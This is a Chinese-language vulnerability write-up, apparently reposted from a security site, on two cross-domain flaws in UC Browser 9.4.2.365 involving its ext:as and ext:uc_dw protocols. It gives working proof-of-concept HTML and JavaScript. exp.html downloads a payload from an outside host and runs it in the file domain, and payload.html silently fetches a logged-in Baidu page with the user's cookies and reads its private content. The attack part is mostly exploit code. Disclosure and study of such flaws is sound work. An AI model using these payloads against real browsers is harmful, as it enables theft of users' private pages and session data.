这次带来了两个弱点,一个是跨本地域,另一个是本地域可以执行的new payload。
(感谢厂商给的price,本想留着些漏洞等过年以后再提交呢,为了表达谢意,我也不能老是留着)
测试版本:9.4.2.365
本次问题是ext:as协议引起的http->file的跨域:
<iframe src=ext:as:navi_online_index-479*1248-U90888:file:///mnt/sdcard/payload.html></iframe>
它能做什么完全取决于file域的权限了,例如可以窃取本地文件。可参考UC浏览器跨本地域漏洞可获取本地文件内容 中的exp和payload代码,经测试也是可以的,几乎可以复制,此处不再赘述。
而今天我要发的payload是file->http跨域弱点,自从 UC浏览器跨本地域XSS可盗取任意域Cookie 之后,UC修补了这个弱点,file域再也无法获取到http域的任何内容(document.getElementById.contentDocument不再能获取到远程iframe的句柄),但这种限制可以间接绕过:UC内置协议ext:uc_dw可以无提示地下载任意类型的文件,而且request是带着相应cookie的,并保存在固定目录,下载文件名也是可预测的。所以思路就是使用ext:uc_dw把想要读取的内容下载到本地,然后再读取本地文件(file域读取file域没有限制)。
http协议远程访问exp.html 先将payload.html下载到本地,五秒钟等待下载完毕 再用ext:as跨域去执行它。
exp.html内容:
<html>
<body>
<iframe src=ext:uc_dw:http://www.myhack58.com:8888/payload.html></iframe>
</body>
<script>
setTimeout("document.body.innerHTML='<iframe src=ext:as:navi_online_index-479*1248-U90888:file:///mnt/sdcard/payload.html></iframe>'",5000);
</script>
</html>
假设http://m.baidu.com/是用户只有登录过才能看到的持有cookie的私有页面,为保证这一点,我用自己的id登录了百度(右上角的id):
payload.html是exp.html下载到本地执行的,它先下载http://m.baidu.com/内容并自动保存到/mnt/sdcard/UCDownloads/index.html,然后再读取它:
<html>
<body>
<iframe src=ext:uc_dw:http://m.baidu.com/></iframe>
</body>
<script>
function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.body.innerHTML);
}
setTimeout("document.body.innerHTML='<iframe id=hi src=file:///mnt/sdcard/UCDownloads/index.html onload=inject()></iframe>'",5000);
</script>
</html>
执行效果如下:
exp.html会先下载payload.html
五秒后payload.html会再下载http://m.baidu.com/内容并命名为index.html文件:
payload.html读取index.html,从页面中的ID来看,确实是用户登录后的私有页面,而不是人人都能看到的前台页面:
证明完毕,才发现我书面表达能力太差了。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;